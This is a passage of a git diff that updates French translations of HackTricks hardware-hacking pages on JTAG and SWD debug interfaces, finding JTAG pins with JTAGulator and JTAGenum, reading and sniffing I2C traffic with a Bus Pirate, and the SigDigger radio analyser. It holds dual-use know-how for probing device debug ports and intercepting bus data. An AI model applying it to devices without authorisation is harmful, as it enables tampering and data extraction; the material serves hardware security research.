-Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/todo/hardware-hacking/README.md b/todo/hardware-hacking/README.md index 2fecf1274..7ff2e7719 100644 --- a/todo/hardware-hacking/README.md +++ b/todo/hardware-hacking/README.md @@ -1,14 +1,14 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -17,62 +17,62 @@ Autres moyens de soutenir HackTricks : # JTAG -JTAG permet d'effectuer un scan de limite. Le scan de limite analyse certains circuits, y compris les cellules et registres de scan de limite intégrés pour chaque broche. +JTAG permet d'effectuer un balayage de limite. Le balayage de limite analyse certaines circuits, y compris les cellules de balayage de limite intégrées et les registres pour chaque broche. -La norme JTAG définit **des commandes spécifiques pour réaliser des scans de limite**, y compris les suivantes : +La norme JTAG définit **des commandes spécifiques pour effectuer des balayages de limite**, notamment les suivantes : -* **BYPASS** permet de tester un circuit spécifique sans la surcharge de passer par d'autres circuits. -* **SAMPLE/PRELOAD** prend un échantillon des données entrant et sortant de l'appareil lorsqu'il est en mode de fonctionnement normal. +* **BYPASS** vous permet de tester une puce spécifique sans passer par d'autres puces. +* **SAMPLE/PRELOAD** prend un échantillon des données entrant et sortant du dispositif lorsqu'il est en mode de fonctionnement normal. * **EXTEST** définit et lit les états des broches. Il peut également prendre en charge d'autres commandes telles que : -* **IDCODE** pour identifier un appareil -* **INTEST** pour le test interne de l'appareil +* **IDCODE** pour identifier un dispositif +* **INTEST** pour le test interne du dispositif Vous pourriez rencontrer ces instructions lorsque vous utilisez un outil comme le JTAGulator. -## Le port d'accès au test +## Le port d'accès aux tests -Les scans de limite incluent des tests du port à quatre fils **Test Access Port (TAP)**, un port polyvalent qui fournit **l'accès aux fonctions de support de test JTAG** intégrées dans un composant. Le TAP utilise les cinq signaux suivants : +Les balayages de limite comprennent des tests du **port d'accès aux tests (TAP)** à quatre fils, un port polyvalent qui fournit **l'accès aux fonctions de support des tests JTAG** intégrées dans un composant. Le TAP utilise les cinq signaux suivants : -* Entrée d'horloge de test (**TCK**) Le TCK est l'**horloge** qui définit la fréquence à laquelle le contrôleur TAP prendra une action unique (en d'autres termes, passer à l'état suivant dans la machine à états). -* Entrée de sélection de mode de test (**TMS**) TMS contrôle la **machine à états finis**. À chaque battement de l'horloge, le contrôleur TAP JTAG de l'appareil vérifie la tension sur la broche TMS. Si la tension est en dessous d'un certain seuil, le signal est considéré comme bas et interprété comme 0, tandis que si la tension est au-dessus d'un certain seuil, le signal est considéré comme haut et interprété comme 1. -* Entrée de données de test (**TDI**) TDI est la broche qui envoie **les données dans la puce à travers les cellules de scan**. Chaque fournisseur est responsable de la définition du protocole de communication sur cette broche, car JTAG ne le définit pas. -* Sortie de données de test (**TDO**) TDO est la broche qui envoie **les données hors de la puce**. -* Entrée de réinitialisation de test (**TRST**) Le TRST optionnel réinitialise la machine à états finis **à un état connu comme bon**. Alternativement, si le TMS est maintenu à 1 pendant cinq cycles d'horloge consécutifs, il invoque une réinitialisation, de la même manière que la broche TRST le ferait, c'est pourquoi TRST est optionnel. +* Entrée d'horloge de test (**TCK**) Le TCK est l'**horloge** qui définit à quelle fréquence le contrôleur TAP prendra une seule action (en d'autres termes, passera à l'état suivant dans la machine à états). +* Sélection du mode de test (**TMS**) L'entrée TMS contrôle la **machine à états finis**. À chaque battement de l'horloge, le contrôleur TAP JTAG du dispositif vérifie la tension sur la broche TMS. Si la tension est inférieure à un certain seuil, le signal est considéré comme bas et interprété comme 0, tandis que si la tension est supérieure à un certain seuil, le signal est considéré comme haut et interprété comme 1. +* Entrée de données de test (**TDI**) TDI est la broche qui envoie **des données dans la puce via les cellules de balayage**. Chaque fabricant est responsable de définir le protocole de communication sur cette broche, car JTAG ne le définit pas. +* Sortie de données de test (**TDO**) TDO est la broche qui envoie **des données hors de la puce**. +* Réinitialisation de test (**TRST**) entrée La réinitialisation TRST facultative remet la machine à états finis **dans un état connu bon**. Sinon, si le TMS est maintenu à 1 pendant cinq cycles d'horloge consécutifs, il invoque une réinitialisation, de la même manière que la broche TRST, c'est pourquoi TRST est facultatif. Parfois, vous pourrez trouver ces broches marquées sur le PCB. Dans d'autres cas, vous pourriez avoir besoin de **les trouver**. -## Identifier les broches JTAG +## Identification des broches JTAG -La manière la plus rapide mais la plus coûteuse de détecter les ports JTAG est d'utiliser le **JTAGulator**, un appareil créé spécifiquement à cet effet (bien qu'il puisse **également détecter les brochages UART**). +La manière la plus rapide mais la plus coûteuse de détecter les ports JTAG est d'utiliser le **JTAGulator**, un dispositif créé spécifiquement à cette fin (bien qu'il puisse **également détecter les configurations de broches UART**). -Il dispose de **24 canaux** que vous pouvez connecter aux broches des cartes. Ensuite, il effectue une **attaque BF** de toutes les combinaisons possibles en envoyant des commandes de scan de limite **IDCODE** et **BYPASS**. S'il reçoit une réponse, il affiche le canal correspondant à chaque signal JTAG +Il dispose de **24 canaux** auxquels vous pouvez connecter les broches des cartes. Ensuite, il effectue une **attaque BF** de toutes les combinaisons possibles en envoyant les commandes de balayage de limite **IDCODE** et **BYPASS**. S'il reçoit une réponse, il affiche le canal correspondant à chaque signal JTAG. -Une manière moins chère mais beaucoup plus lente d'identifier les brochages JTAG est d'utiliser [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) chargé sur un microcontrôleur compatible Arduino. +Une manière moins chère mais beaucoup plus lente d'identifier les configurations de broches JTAG est d'utiliser le [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) chargé sur un microcontrôleur compatible Arduino. -En utilisant **JTAGenum**, vous devriez d'abord **définir les broches de l'appareil de sondage** que vous utiliserez pour l'énumération. Vous devriez vous référer au schéma de brochage de l'appareil, puis connecter ces broches aux points de test de votre appareil cible. +En utilisant **JTAGenum**, vous devriez d'abord **définir les broches du dispositif de sondage** que vous utiliserez pour l'énumération. Vous devrez vous référer au schéma de brochage du dispositif, puis connecter ces broches aux points de test sur votre dispositif cible. -Une **troisième manière** d'identifier les broches JTAG est d'**inspecter le PCB** pour l'un des brochages. Dans certains cas, les PCB pourraient commodément fournir l'**interface Tag-Connect**, ce qui est une indication claire que la carte a également un connecteur JTAG. Vous pouvez voir à quoi ressemble cette interface sur [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). De plus, l'inspection des **fiches techniques des chipsets sur le PCB** pourrait révéler des schémas de brochage qui indiquent des interfaces JTAG. +Une **troisième manière** d'identifier les broches JTAG est d'**inspecter le PCB** pour l'une des configurations de broches. Dans certains cas, les PCB pourraient fournir de manière pratique l'interface **Tag-Connect**, ce qui est une indication claire que la carte possède également un connecteur JTAG. Vous pouvez voir à quoi ressemble cette interface sur [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). De plus, l'inspection des **fiches techniques des jeux de puces sur le PCB** pourrait révéler des schémas de brochage indiquant des interfaces JTAG. # SDW SWD est un protocole spécifique à ARM conçu pour le débogage. -L'interface SWD nécessite **deux broches** : un signal bidirectionnel **SWDIO**, qui est l'équivalent des broches **TDI et TDO de JTAG et une horloge**, et **SWCLK**, qui est l'équivalent de **TCK** dans JTAG. De nombreux appareils prennent en charge le **Serial Wire or JTAG Debug Port (SWJ-DP)**, une interface JTAG et SWD combinée qui vous permet de connecter soit une sonde SWD soit une sonde JTAG à la cible. +L'interface SWD nécessite **deux broches** : un signal bidirectionnel **SWDIO**, qui est l'équivalent des broches **TDI et TDO de JTAG et une horloge**, et **SWCLK**, qui est l'équivalent de **TCK** dans JTAG. De nombreux dispositifs prennent en charge le **port de débogage série ou JTAG (SWJ-DP)**, une interface combinée JTAG et SWD qui vous permet de connecter soit une sonde SWD, soit JTAG à la cible.
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/todo/hardware-hacking/i2c.md b/todo/hardware-hacking/i2c.md index 2901bd20b..9aed4acf8 100644 --- a/todo/hardware-hacking/i2c.md +++ b/todo/hardware-hacking/i2c.md @@ -1,20 +1,25 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
+ + + + + # Bus Pirate -Pour tester si un Bus Pirate fonctionne, connectez +5V avec VPU et 3.3V avec ADC et accédez au bus pirate (en utilisant Tera Term par exemple) et utilisez la commande `~`: +Pour tester si un Bus Pirate fonctionne, connectez +5V à VPU et 3,3V à ADC, puis accédez au Bus Pirate (en utilisant par exemple Tera Term) et utilisez la commande `~`: ```bash # Use command HiZ>~ @@ -53,18 +58,18 @@ Any key to exit #Press space Found 0 errors. ``` -Comme vous pouvez le voir dans la ligne de commande précédente, il est indiqué qu'elle a trouvé 0 erreurs. C'est très utile pour savoir si cela fonctionne après l'achat ou après avoir flashé un firmware. +Comme vous pouvez le voir dans la commande précédente, il a indiqué qu'il n'a trouvé aucune erreur. C'est très utile de savoir que tout fonctionne après l'achat ou après le flashage d'un firmware. -Pour se connecter avec le bus pirate, vous pouvez suivre la documentation : +Pour se connecter au bus pirate, vous pouvez suivre la documentation : ![](<../../.gitbook/assets/image (307) (2).png>) -Dans ce cas, je vais me connecter à une EPROM : ATMEL901 24C256 PU27 : +Dans ce cas, je vais me connecter à un EPROM : ATMEL901 24C256 PU27 : ![](<../../.gitbook/assets/image (465) (2) (1).png>) -Pour communiquer avec le bus pirate, j'ai utilisé Tera Term connecté au port COM du bus pirate avec une configuration --> Port série --> Vitesse de 115200.\ -Dans la communication suivante, vous pouvez trouver comment préparer le bus pirate pour parler I2C et comment écrire et lire depuis la mémoire (Les commentaires apparaissent en utilisant "#", ne vous attendez pas à voir cette partie dans la communication) : +Pour communiquer avec le bus pirate, j'ai utilisé Tera Term connecté au port COM du bus pirate avec un réglage --> Port série --> Vitesse de 115200.\ +Dans la communication suivante, vous trouverez comment préparer le bus pirate pour communiquer en I2C et comment écrire et lire depuis la mémoire (Les commentaires apparaissent en utilisant "#", ne vous attendez pas à cette partie dans la communication) : ```bash # Check communication with buspirate i @@ -165,7 +170,7 @@ NACK ``` ## Sniffer -Dans ce scénario, nous allons espionner la communication I2C entre l'arduino et l'EPROM précédent, vous devez simplement connecter les deux appareils puis connecter le bus pirate aux broches SCL, SDA et GND : +Dans ce scénario, nous allons intercepter la communication I2C entre l'arduino et l'EPROM précédente, il vous suffit de connecter les deux appareils et ensuite de connecter le bus pirate aux broches SCL, SDA et GND : ![](<../../.gitbook/assets/image (201) (2) (1).png>) ```bash @@ -215,14 +220,14 @@ Any key to exit ```
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/todo/hardware-hacking/jtag.md b/todo/hardware-hacking/jtag.md index a19969531..e4b65f4dc 100644 --- a/todo/hardware-hacking/jtag.md +++ b/todo/hardware-hacking/jtag.md @@ -1,34 +1,34 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
# JTAGenum -[**JTAGenum**](https://github.com/cyphunk/JTAGenum) est un outil qui peut être utilisé avec un Raspberry PI ou un Arduino pour essayer de trouver les broches JTAG d'une puce inconnue.\ -Sur l'**Arduino**, connectez les **broches de 2 à 11 à 10 broches potentiellement appartenant à un JTAG**. Chargez le programme dans l'Arduino et il essaiera de forcer brutalement toutes les broches pour trouver si des broches appartiennent au JTAG et lesquelles.\ -Sur le **Raspberry PI**, vous ne pouvez utiliser que les **broches de 1 à 6** (6 broches, donc vous irez plus lentement pour tester chaque broche JTAG potentielle). +[**JTAGenum** ](https://github.com/cyphunk/JTAGenum)est un outil qui peut être utilisé avec un Raspberry PI ou un Arduino pour essayer de trouver les broches JTAG d'une puce inconnue.\ +Dans l'**Arduino**, connectez les **broches de 2 à 11 aux 10 broches potentiellement appartenant à un JTAG**. Chargez le programme dans l'Arduino et il essaiera de forcer toutes les broches pour trouver si l'une d'entre elles appartient au JTAG et laquelle est chaque.\ +Dans le **Raspberry PI**, vous ne pouvez utiliser que les **broches de 1 à 6** (6 broches, donc vous irez plus lentement en testant chaque broche JTAG potentielle). ## Arduino -Sur Arduino, après avoir connecté les câbles (broche 2 à 11 aux broches JTAG et GND de l'Arduino au GND de la carte de base), **chargez le programme JTAGenum dans l'Arduino** et dans le moniteur série, envoyez un **`h`** (commande d'aide) et vous devriez voir l'aide : +Dans Arduino, après avoir connecté les câbles (broche 2 à 11 aux broches JTAG et Arduino GND à la GND de la carte mère), **chargez le programme JTAGenum dans l'Arduino** et dans le Moniteur série envoyez un **`h`** (commande pour obtenir de l'aide) et vous devriez voir l'aide : ![](<../../.gitbook/assets/image (643).png>) ![](<../../.gitbook/assets/image (650).png>) -Configurez **"Pas de fin de ligne" et 115200baud**.\ -Envoyez la commande s pour commencer l'analyse : +Configurez **"Aucune fin de ligne" et 115200bauds**.\ +Envoyez la commande s pour commencer le balayage : ![](<../../.gitbook/assets/image (651) (1) (1) (1).png>) @@ -37,14 +37,14 @@ Si vous êtes en contact avec un JTAG, vous trouverez une ou plusieurs **lignes
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/todo/hardware-hacking/radio.md b/todo/hardware-hacking/radio.md index e5c8aa875..f76074e8b 100644 --- a/todo/hardware-hacking/radio.md +++ b/todo/hardware-hacking/radio.md @@ -2,30 +2,30 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
## SigDigger -[**SigDigger**](https://github.com/BatchDrake/SigDigger) est un analyseur de signal numérique gratuit pour GNU/Linux et macOS, conçu pour extraire des informations de signaux radio inconnus. Il prend en charge une variété de dispositifs SDR via SoapySDR et permet la démodulation ajustable des signaux FSK, PSK et ASK, décode la vidéo analogique, analyse les signaux saccadés et écoute les canaux vocaux analogiques (le tout en temps réel). +[**SigDigger** ](https://github.com/BatchDrake/SigDigger) est un analyseur de signal numérique gratuit pour GNU/Linux et macOS, conçu pour extraire des informations de signaux radio inconnus. Il prend en charge une variété de périphériques SDR via SoapySDR, permet une démodulation ajustable des signaux FSK, PSK et ASK, décode la vidéo analogique, analyse les signaux en rafales et écoute les canaux vocaux analogiques (le tout en temps réel). ### Configuration de base Après l'installation, il y a quelques éléments que vous pourriez envisager de configurer.\ -Dans les paramètres (le deuxième bouton de l'onglet), vous pouvez sélectionner le **dispositif SDR** ou **sélectionner un fichier** à lire et quelle fréquence syntoniser ainsi que le taux d'échantillonnage (il est recommandé de monter jusqu'à 2,56Msps si votre PC le supporte)\\ +Dans les paramètres (le deuxième bouton d'onglet), vous pouvez sélectionner le **périphérique SDR** ou **sélectionner un fichier** à lire et quelle fréquence syntoniser et le taux d'échantillonnage (recommandé jusqu'à 2,56 Msps si votre PC le prend en charge)\\ ![](<../../.gitbook/assets/image (655) (1).png>) -Dans le comportement de l'interface utilisateur, il est recommandé d'activer quelques options si votre PC le supporte : +Dans le comportement de l'interface graphique, il est recommandé d'activer quelques éléments si votre PC le prend en charge : ![](<../../.gitbook/assets/image (465) (2).png>) @@ -35,55 +35,55 @@ Si vous réalisez que votre PC ne capture pas les choses, essayez de désactiver ### Utilisations -* Juste pour **capturer un moment d'un signal et l'analyser**, maintenez le bouton "Push to capture" aussi longtemps que nécessaire. +* Juste pour **capturer un certain temps d'un signal et l'analyser**, maintenez simplement le bouton "Appuyer pour capturer" aussi longtemps que nécessaire. ![](<../../.gitbook/assets/image (631).png>) -* Le **Tuner** de SigDigger aide à **capturer de meilleurs signaux** (mais il peut aussi les dégrader). Idéalement, commencez avec 0 et continuez à **augmenter jusqu'à ce que** vous trouviez que le **bruit** introduit est **plus important** que l'**amélioration du 